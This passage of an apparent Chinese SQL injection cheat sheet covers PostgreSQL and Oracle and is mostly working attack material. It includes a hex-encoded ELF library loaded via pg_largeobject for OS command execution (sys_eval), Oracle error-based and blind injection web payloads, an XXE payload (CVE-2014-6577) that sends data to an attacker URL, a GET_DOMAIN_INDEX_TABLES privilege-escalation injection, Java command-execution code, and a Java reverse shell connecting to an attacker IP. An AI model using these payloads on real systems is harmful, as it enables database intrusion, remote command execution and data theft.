880c008dc84400001a0000002100000026000000325e541ea868be124245d5ec2e67541eaa5fbe12bae3927c5f4de3214aad229d32a1f45bd871581cb88df10e25681b32c60da6d4ead3ef0e6637d3ed339268fe000000000000000000000000000000000000000000000000000000000000000003000900580b0000000000000000000000000000de00000012000000000000000000000000000000000000000901000012000000000000000000000000000000000000001c00000020000000000000000000000000000000000000007601000012000000000000000000000000000000000000006f01000012000000000000000000000000000000000000003a0100001200000000000000000000000000000000000000d60000001200000000000000000000000000000000000000110100001200000000000000000000000000000000000000fb0000001200000000000000000000000000000000000000690100001200000000000000000000000000000000000000010000002000000000000000000000000000000000000000c500000010000000000000000000000000000000000000009800000012000000000000000000000000000000000000006301000012000000000000000000000000000000000000000101000012000000000000000000000000000000000000003f0100001200000000000000000000000000000000000000f500000012000000000000000000000000000000000000005d0100001200000000000000000000000000000000000000320100001200000000000000000000000000000000000000610000002000000000000000000000000000000000000000380000002000000000000000000000000000000000000000520000002200000000000000000000000000000000000000dd00000010000000000000000000000000000000000000002d0100001200000000000000000000000000000000000000e300000012000b00d20e0000000000000800000000000000bc00000012000b00850e0000000000004d000000000000008601000010001600d0202000000000000000000000000000b300000012000b007d0e0000000000000800000000000000ec00000012000b00da0e000000000000c3000000000000009901000010001700d82020000000000000000000000000005001000012000b003b1000000000000031010000000000001801000012000b009d0f00000000000008000000000000008300000012000b00ed0d00000000000030000000000000008d01000010001700d02020000000000000000000000000001000000012000900580b00000000000000000000000000002101000012000b00a50f0000000000008e000000000000007500000012000b00e50d00000000000008000000000000001600000012000c006c1100000000000000000000000000004701000012000b00331000000000000008000000000000009f00000012000b001d0e0000000000006000000000000000005f5f676d6f6e5f73746172745f5f005f696e6974005f66696e69005f49544d5f64657265676973746572544d436c6f6e655461626c65005f49544d5f7265676973746572544d436c6f6e655461626c65005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c61737365730050675f6d616769635f66756e6300746578745f7074725f746f5f636861725f707472006d616c6c6f63006368725f7074725f746f5f746578745f7074720070675f66696e666f5f7379735f657865630070675f6465746f6173745f646174756d0073797374656d0070667265650070675f66696e666f5f7379735f6576616c00706f70656e006667657473007265616c6c6f63007374726e6370790070636c6f73650070675f66696e666f5f7379735f62696e6576616c00666f726b00737973636f6e66006d6d617000776169747069640070675f66696e666f5f7379735f66696c657265616400666f70656e00667365656b006674656c6c0066636c6f7365006672656164006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e3500000000000200', 'hex'));
insert into pg_largeobject values (9023, 1, decode('0200000002000200020002000200020002000000000002000200020002000200020002000000000002000000020001000100010001000100010001000100010001000100010001000100010001000000010001007c0100001000000000000000751a6909000002009e01000000000000f81d2000000000000800000000000000b00d000000000000001e2000000000000800000000000000700d000000000000101e2000000000000800000000000000101e200000000000d81f20000000000006000000040000000000000000000000e01f200000000000060000000c0000000000000000000000e81f20000000000006000000150000000000000000000000f01f20000000000006000000160000000000000000000000f81f200000000000060000001700000000000000000000001820200000000000070000000200000000000000000000002020200000000000070000000300000000000000000000002820200000000000070000000500000000000000000000003020200000000000070000000600000000000000000000003820200000000000070000000700000000000000000000004020200000000000070000000800000000000000000000004820200000000000070000000900000000000000000000005020200000000000070000000a00000000000000000000005820200000000000070000002200000000000000000000006020200000000000070000000b00000000000000000000006820200000000000070000000c00000000000000000000007020200000000000070000000d00000000000000000000007820200000000000070000000e00000000000000000000008020200000000000070000000f0000000000000000000000882020000000000007000000100000000000000000000000902020000000000007000000110000000000000000000000982020000000000007000000120000000000000000000000a02020000000000007000000130000000000000000000000a82020000000000007000000140000000000000000000000b02020000000000007000000170000000000000000000000b82020000000000007000000180000000000000000000000c02020000000000007000000190000000000000000000000c820200000000000070000002900000000000000000000004883ec08488b057d1420004885c07405e8c30000004883c408c30000000000000000000000000000ff3582142000ff25841420000f1f4000ff25821420006800000000e9e0ffffffff257a1420006801000000e9d0ffffffff25721420006802000000e9c0ffffffff256a1420006803000000e9b0ffffffff25621420006804000000e9a0ffffffff255a1420006805000000e990ffffffff25521420006806000000e980ffffffff254a1420006807000000e970ffffffff25421420006808000000e960ffffffff253a1420006809000000e950ffffffff2532142000680a000000e940ffffffff252a142000680b000000e930ffffffff2522142000680c000000e920ffffffff251a142000680d000000e910ffffffff2512142000680e000000e900ffffffff250a142000680f000000e9f0feffffff25021420006810000000e9e0feffffff25fa1320006811000000e9d0feffffff25f21320006812000000e9c0feffffff25ea1320006813000000e9b0feffffff25e21320006814000000e9a0feffffff25da1320006815000000e990feffffff25d21320006816000000e980feffff488d05d0132000488d3dc2132000554829f84889e54883f80e77025dc3488b05b41220004885c074f25dffe00f1f4000488d0599132000488d3d92132000554829f84889e548c1f8034889c248c1ea3f4801d048d1f875025dc3488b158f1220004885d274f25d4889c6ffe20f1f4000803d5913200000752748833d7712200000554889e5740c488d3d82102000e82dffffffe868ffffff5dc6053013200001f3c30f1f4000662e0f1f84000000000048833d50102000007426488b05271220004885c0741a55488d3d3a1020004889e5ffd05de957ffffff0f1f8000000000e94bffffff488d05c4030000c355534889fb508b17c1ea028d6afc8d7d014863ffe84afeffff4863d5488d73044889c74889d1f3a4c60410005a5b5dc341544983ccff4c89e15531ed4088e8534889fbf2ae48f7d1488d7903e812feffff4889df4889c24c89e14088e84889def2ae4889df48f7d18d048d0c0000004c89e189024088e8f2ae488d420448f7d14c01e14889c74889d0f3a45b5d415cc3488d0528030000c341554154554889fd5351488b7f20e8a8fdffff4889c74889c3e86dfdffff4989c44889c7e832fdffff4c89e74189c5e8d7fcffff483b5d2074084889dfe809feffff5a5b5d415c4489e8415dc3488d05cf020000c34157415641554154555352488b7f20e852fdffff4889c7e81afdffffbf000400004889c5e84dfdffffbf010000004989c4e840fdffff488d35690200004889efc600004889c331ede869fdffff4989c54c89eabe080000004c89e7e8c6fcffff4885c0743931c04c89e74883c9fff2ae4889df48f7d14c8d71ff468d7c35004963f7e80ffdffff488d3c284963d64c89e64889c34963efe82afcffffebb24c89efe870fcffff803b007405c6442bff00584889df5b5d415c415d415e415fe953fdffff488d0500020000c341545553488b7f20e88efcffff4989c48b28e824fdffff85c07907b801000000eb677555c1ed02bf1e000000e8dafcffff83ed04488d70ff4531c94863ed4531c031ff488d042e48f7d6b921000000ba070000004821c6e8cffbff', 'hex'));
insert into pg_largeobject values (9023, 2, decode('ff4883f8ff4889c374b6498d7424044889ea4889c7e886fbffffffd3eb0eba0100000031f689c7e854fcffff31c05b5d415cc3488d0566010000c341574989ff41564155415455534883ec28488b7f20e8ebfbffff488d7c240f488d3524010000b911000000f3a44889c7e8a0fbffff488d350b0100004889c74989c4e81efcffff4885c04889c3744431f6ba020000004889c7e8c7fbffff4889dfe87ffbffff31d231f64889c54889df4189c5e8adfbffff8d7d014863ffe892fbffff4885c04989c675144889dfe8f2faffff41c6471c0131c0e9830000004889d9ba010000004863f54889c7e8c3faffff4889dfe8cbfaffff8d7c2d014863ffe84ffbffff31d24889c34139d58d04127e23418a041688c183e00fc0e9048a44040f83e10f8a4c0c0f88445301880c5348ffc2ebd548984889dfc6040300e8b1fbffff4889df4889c5e846faffff4c89f7e83efaffff4c89e7e836faffff4889e84883c4285b5d415c415d415e415fc34883ec084883c408c300000000000000000000007200726200303132333435363738394142434445460000000000000000000000010000000100000001000000010000001c0000008a0300006400000020000000400000000100000001000000011b033b680000000c000000b4f9ffff8400000019fcffffac00000021fcffffc400000051fcffffec000000b1fcffff1c010000b9fcffff3401000006fdffff6c0100000efdffff84010000d1fdffffcc010000d9fdffffe401000067feffff140200006ffeffff2c0200001400000000000000017a5200017810011b0c070890010000240000001c00000028f9ffff80010000000e10460e184a0f0b770880003f1a3b2a33242200000000140000004400000065fbffff080000000000000000000000240000005c00000055fbffff3000000000410e108602410e188303440e20670e18410e10410e08002c000000840000005dfbffff6000000000420e108c02480e188603460e208304024c0e18410e10420e0800000000000014000000b40000008dfbffff08000000000000000000000034000000cc0000007dfbffff4d00000000420e108d02420e188c03410e208604440e288305410e30790e28410e20410e18420e10450e0800140000000401000092fbffff080000000000000000000000440000001c01000082fbffffc300000000420e108f02420e188e03420e208d04420e288c05410e308606410e388307410e4002a60e38440e30410e28420e20420e18420e10420e081400000064010000fdfbffff0800000000000000000000002c0000007c010000edfbffff8e00000000420e108c02410e188603410e20830402860e18410e10420e0800000000000014000000ac0100004bfcffff0800000000000000000000004c000000c40100003bfcffff3101000000420e108f02450e188e03420e208d04420e288c05410e308606410e388307440e600315010e38410e30410e28420e20420e18420e10420e080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 3, decode('00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b00d000000000000700d0000000000000000000000000000101e20000000000001000000000000007c010000000000000c00000000000000580b0000000000000d000000000000006c110000000000001900000000000000f81d2000000000001b0000000000000008000000000000001a00000000000000001e2000000000001c000000000000000800000000000000f5feff6f00000000f00100000000000005000000000000005006000000000000060000000000000060020000000000000a00000000000000aa010000000000000b00000000000000180000000000000003000000000000000020200000000000020000000000000028020000000000001400000000000000070000000000000017000000000000003009000000000000070000000000000070080000000000000800000000000000c00000000000000009000000000000001800000000000000feffff6f000000005008000000000000ffffff6f000000000100000000000000f0ffff6f00000000fa07000000000000f9ffff6f000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 4, decode('181e20000000000000000000000000000000000000000000960b000000000000a60b000000000000b60b000000000000c60b000000000000d60b000000000000e60b000000000000f60b000000000000060c000000000000160c000000000000260c000000000000360c000000000000460c000000000000560c000000000000660c000000000000760c000000000000860c000000000000960c000000000000a60c000000000000b60c000000000000c60c000000000000d60c000000000000e60c000000000000f60c0000000000004743433a2028474e552920342e382e3520323031353036323320285265642048617420342e382e352d31362900002e7368737472746162002e6e6f74652e676e752e6275696c642d6964002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e696e69745f6172726179002e66696e695f6172726179002e6a6372002e646174612e72656c2e726f002e64796e616d6963002e676f74002e676f742e706c74002e627373002e636f6d6d656e74000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b000000070000000200000000000000c801000000000000c80100000000000024000000000000000000000000000000040000000000000000000000000000001e000000f6ffff6f0200000000000000f001000000000000f0010000000000006c00000000000000030000000000000008000000000000000000000000000000280000000b000000020000000000000060020000000000006002000000000000f0030000000000000400000002000000080000000000000018000000000000003000000003000000020000000000000050060000000000005006000000000000aa0100000000000000000000000000000100000000000000000000000000000038000000ffffff6f0200000000000000fa07000000000000fa07000000000000540000000000000003000000000000000200000000000000020000000000000045000000feffff6f02000000000000005008000000000000500800000000000020000000000000000400000001000000080000000000000000000000000000005400000004000000020000000000000070080000000000007008000000000000c0000000000000000300000000000000080000000000000018000000000000005e000000040000004200000000000000300900000000000030090000000000002802000000000000030000000a0000000800000000000000180000000000000068000000010000000600000000000000580b000000000000580b0000000000001a0000000000000000000000000000000400000000000000000000000000000063000000010000000600000000000000800b000000000000800b00000000000080010000000000000000000000000000100000000000000010000000000000006e000000010000000600000000000000000d000000000000000d0000000000006c04000000000000000000000000000010000000000000000000000000000000740000000100000006000000000000006c110000000000006c1100000000000009000000000000000000000000000000040000000000000000000000000000007a000000010000000200000000000000801100000000000080110000000000004c0000000000000000000000000000001000000000000000000000000000000082000000010000000200000000000000cc11000000000000cc110000000000006c00000000000000000000000000000004000000000000000000000000000000900000000100000002000000000000003812000000000000381200000000000014020000000000000000000000000000080000000000000000000000000000009a0000000e0000000300000000000000f81d200000000000f81d0000000000000800000000000000000000000000000008000000000000000000000000000000a60000000f0000000300000000000000001e200000000000001e0000000000000800000000000000000000000000000008000000000000000000000000000000b2000000010000000300000000000000081e200000000000081e0000000000000800000000000000000000000000000008000000000000000000000000000000b7000000010000000300000000000000101e200000000000101e0000000000000800000000000000000000000000000008000000000000000000000000000000c4000000060000000300000000000000181e200000000000181e000000000000c001000000000000040000000000000008000000000000001000000000000000cd000000010000000300000000000000d81f200000000000d81f0000000000002800000000000000000000000000000008000000000000000800000000000000d200000001000000030000000000000000202000000000000020000000000000d000000000000000000000000000000008000000000000000800000000000000db000000080000000300000000000000d020200000000000d0200000000000000800000000000000000000000000000001000000000000000000000000000000e00000000100000030000000000000000000000000000000', 'hex'));
insert into pg_largeobject values (9023, 5, decode('d0200000000000002d00000000000000000000000000000001000000000000000100000000000000010000000300000000000000000000000000000000000000fd20000000000000e900000000000000000000000000000001000000000000000000000000000000', 'hex'));

SELECT lo_export(9023, '/tmp/testeval.so');


-- 创建命令
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-- 执行命令
select sys_eval('id');
-- 删除命令
drop function sys_eval;
select sys_eval('id');

Oracle

函数释义
DBMS_PIPE.RECEIVE_MESSAGEselect dbms_pipe.receive_message('o',10)from dual; 结果:1时间注入函数,两个参数,从指定管道获取消息,timeout 为 integer的可选输入参数,用来指定等待时间
case...when...then..else...endselect case when 1=1 then 1 else 2 end from dual 结果:1
wm_concat类似mysql中的group_concat,多行结果聚合到一起
replaceSelect replace('abcde','a','A') from dual 结果:Abcde

基础

-- 在mysql,mssql,postgresql中都是正确的
select 1,2;

-- 但是在Oracle中,必须要带上dual虚表
select 1,2 from dual;

获取数据库版本

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;

获取操作系统版本

SELECT banner FROM v$version where banner like 'TNS%'

获取当前用户权限的所有数据库

SELECT DISTINCT owner FROM all_tables;

获取当前数据库

这里需要说明一下,由于Oracle 中使用 Schema 的概念将每个用户的数据进行分离,Schema 其实类似于命名空间(Namespace),默认情况下,Schema 的名称同用户名称相同,其实在这里用这种方法去查所谓的当前数据库,但是在all_tables里其实都没有,使用SQLMAP跑出来的库也没有,所以当前数据库使用select user from dual

SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;

获取用户信息

-- 当前数据库用户
SELECT user FROM dual;
-- 所有数据库用户
SELECT username FROM all_users ORDER BY username;
-- 当前用户权限
SELECT * FROM session_privs;
-- 用户角色
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

获取当前数据库中的表名

-- 以SYSTEM 为例子
-- 所有用户的表
select distinct table_name from all_tables where owner = 'SYSTEM'
-- 当前用户的表,这里会有很多不需要的数据,其实不建议使用
select table_name from user_tables;
-- 包括系统表,需要高权限
select table_name from dba_tables where owner = 'SYSTEM';

获取当前数据库下某表的所有列名

select column_name from all_tab_columns where table_name ='USERS_KVHXKJ'

查询值

select USERNAME_ETSGGX,PASSWORD_OEDQBQ from USERS_KVHXKJ

子查询,分页实现limit

-- 这里以获取当前用户权限所拥有的数据库
-- 以下是实现limit 1,1
select owner from (select t.owner,rownum as no from (select distinct owner from all_tables)t) where no = 1
-- 实现多个 使用between and
select owner from (select t.owner,rownum as no from (select distinct owner from all_tables)t) where no between 1 and 10

注入

报错注入

ctxsys.drithsx.sn()
select ctxsys.drithsx.sn(1,(select user from dual))
select ctxsys.drithsx.sn(1,(select table_name from (select t.* ,rownum as no from (select * from user_tables)t) where no between 2 and 2)) from dual; -- 一次只能显示一行,所以只能一条一条看

and ctxsys.drithsx.sn(1,(select user from dual)) = 1
XMLType()
select upper(xmltype(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual;
-- web paylaod
and (select upper(xmltype(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null
dbms_xdb_version.checkin()
select dbms_xdb_version.checkin((select user from dual)) from dual

and (select dbms_xdb_version.checkin((select user from dual)) from dual) is null

dbms_xdb_version.makeversioned()

select dbms_xdb_version.makeversioned((select user from dual)) from dual

and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
dbms_xdb_version.uncheckout()
select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual

and (select dbms_xdb_version.uncheckout((select banner from sys.v_$version where rownum=1)) from dual) is not null
dbms_utility.sqlid_to_sqlhash()
SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual

and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from sys.v_$version where rownum=1)) from dual) is not null
ordsys.ord_dicom.getmappingxpath()
select ordsys.ord_dicom.getmappingxpath((select banner from v$version where banner like 'Oracle%'),1,1) from dual

and (select ordsys.ord_dicom.getmappingxpath((select banner from v$version where banner like 'Oracle%'),1,1) from dual) is null
utl_inaddr.*()
-- 如果查询失败,则提示系统错误
select utl_inaddr.get_host_address((select user from dual)) from dual;

select utl_inaddr.get_host_name((select user from dual)) from dual;

bool盲注

-- 查询语句
select length(owner) from (select t.* ,rownum as no from (select distinct owner from all_tables)t) where no = 1;
select length(owner) from (select t.* ,rownum as no from (select distinct owner from all_tables)t) where no between 1 and 1;

and (select length(owner) from (select t.* ,rownum as no from (select distinct owner from all_tables)t) where no = 1) = 11 

时间盲注

  • decode(a,b,c,d) :当a=b 返回c,否则返回d,类似mysql中的if
  • case...when...then...else...end
  • DBMS_PIPE.RECEIVE_MESSAGE

Oracle主要是使用DBMS_PIPE.RECEIVE_MESSAGE('pipename',timeout)函数,该函数从指定管道获取消息

  • pipename为varchar(128)的字符串,用以指定管道名称,在这里我们输入任意值即可。
  • timeout为integer的可选输入参数,用来指定等待时间。
select dbms_pipe.receive_message('aa', 5) from dual;
and decode(ascii(substr((select user from dual),1,1)),83,dbms_pipe.receive_message('aa', 5),1) is null -- - 延时5秒以上,说明第一位是 S

and (case when (ascii(substr((select user from dual),1,1))=83) then dbms_pipe.receive_message('aa', 5) else 1 end) = 1 -- -

其他cve

Oracle XXE

实际上是CVE-2014-6577,受影响的版本:11.2.0.311.2.0.412.1.0.112.1.0.2

Oracle XXE 的效果和 UTL_http 的效果差不多,都是将数据传输到远端服务器上。但是,由于 extractvalue() 函数对所有数据库用户都可以使用,不存在权限的问题,所以当在低权限没有UTL_http 权限时,这个不失为一个好方法

select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "you own url/?'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual;

Oracle 提权漏洞

原理是 GET_DOMAIN_INDEX_TABLES 函数的参数存在注入。而该函数的所有者是 sys,所以通过注入就可以执行任意 sql 语句。而该函数的执行权限为 public,所以只要遇到一个 Oracle 的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(
    '1',
    '1',
    'DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''your own payload'''';END;'';END;--',
    'SYS',
    0,
    '1',
    0
) from dual;

权限提升之后就可以做很多事了,因为 Oracle 可以执行 JAVA 代码,所以在提升权限后具体怎么操作,就看各自的 JAVA 水平了。

这里给出几种常见的利用方式(以下均为 your own payload 处的代码):

命令执行

1、创建JAVA代码

create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}

2、赋予代码执行权限

begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;

3、创建函数

create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String'''''''';

4、赋予函数执行权限

grant all on cmd to public

5、执行命令

select sys.cmd('whoami') from dual;

反弹shell

1、创建java代码

create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell{public static void run() throws Exception {Socket s = new Socket("your own ip", 80);Process p = Runtime.getRuntime().exec("cmd.exe");new T(p.getInputStream(), s.getOutputStream()).start();new T(p.getErrorStream(), s.getOutputStream()).start();new T(s.getInputStream(), p.getOutputStream()).start();}static class T extends Thread {private InputStream i;private OutputStream u;public T(InputStream in, OutputStream out) {this.u = out;this.i = in;}public void run() {BufferedReader n = new BufferedReader(new InputStreamReader(i));BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));char f[] = new char[8192];int l;try {while ((l = n.read(f, 0, f.length)) > 0) {w.write(f, 0, l);w.flush();}} catch (IOException e) {}try {if (n != null)n.close();if (w != null)w.close();} catch (Exception e) {}}}}

2、赋予代码执行权限

begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;

3、创建函数

create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String'''''''';

4、赋予函数执行权限

grant all on reversetcp to public

5、执行命令

select sys.reversetcp from dual;

Access

老古董

and (select count(*) from msysobjects)>0     判断是否为access

数据全靠猜

最后修改:2024 年 07 月 24 日
如果觉得我的文章对你有用,请随意赞赏